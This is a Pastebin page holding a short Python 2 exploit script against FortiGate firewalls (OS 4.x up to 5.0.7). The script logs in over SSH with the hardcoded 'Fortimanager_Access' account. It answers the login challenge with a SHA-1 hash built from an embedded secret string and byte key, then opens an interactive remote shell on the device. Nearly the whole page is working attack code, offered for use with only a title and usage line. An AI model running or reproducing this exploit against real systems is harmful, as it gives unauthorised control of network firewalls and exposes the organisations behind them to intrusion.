Advertisement
Guest User

fgt backdoor + custom port

a guest
Jan 12th, 2016
179
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.28 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. # SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7
  4. # Usage: ./fgt_ssh_backdoor.py <target-ip> <target-port>
  5.  
  6. import socket
  7. import select
  8. import sys
  9. import paramiko
  10. from paramiko.py3compat import u
  11. import base64
  12. import hashlib
  13. import termios
  14. import tty
  15.  
  16. def custom_handler(title, instructions, prompt_list):
  17.     n = prompt_list[0][0]
  18.     m = hashlib.sha1()
  19.     m.update('\x00' * 12)
  20.     m.update(n + 'FGTAbc11*xy+Qqz27')
  21.     m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
  22.     h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
  23.     return [h]
  24.  
  25.  
  26. def main():
  27.     if len(sys.argv) < 3:
  28.         print 'Usage: ' + sys.argv[0] + ' <target-ip>' + '<target-port>'
  29.         exit(-1)
  30.  
  31.     client = paramiko.SSHClient()
  32.     client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  33.  
  34.     try:
  35.         client.connect(sys.argv[1], int(sys.argv[2]),username='', allow_agent=False, look_for_keys=False)
  36.     except paramiko.ssh_exception.SSHException:
  37.         pass
  38.  
  39.     trans = client.get_transport()
  40.     try:
  41.         trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
  42.     except paramiko.ssh_exception.AuthenticationException:
  43.         pass
  44.  
  45.     trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
  46.     chan = client.invoke_shell()
  47.  
  48.     oldtty = termios.tcgetattr(sys.stdin)
  49.     try:
  50.         tty.setraw(sys.stdin.fileno())
  51.         tty.setcbreak(sys.stdin.fileno())
  52.         chan.settimeout(0.0)
  53.  
  54.         while True:
  55.             r, w, e = select.select([chan, sys.stdin], [], [])
  56.             if chan in r:
  57.                 try:
  58.                     x = u(chan.recv(1024))
  59.                     if len(x) == 0:
  60.                         sys.stdout.write('\r\n*** EOF\r\n')
  61.                         break
  62.                     sys.stdout.write(x)
  63.                     sys.stdout.flush()
  64.                 except socket.timeout:
  65.                     pass
  66.             if sys.stdin in r:
  67.                 x = sys.stdin.read(1)
  68.                 if len(x) == 0:
  69.                     break
  70.                 chan.send(x)
  71.  
  72.     finally:
  73.         termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
  74.  
  75.  
  76. if __name__ == '__main__':
  77.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement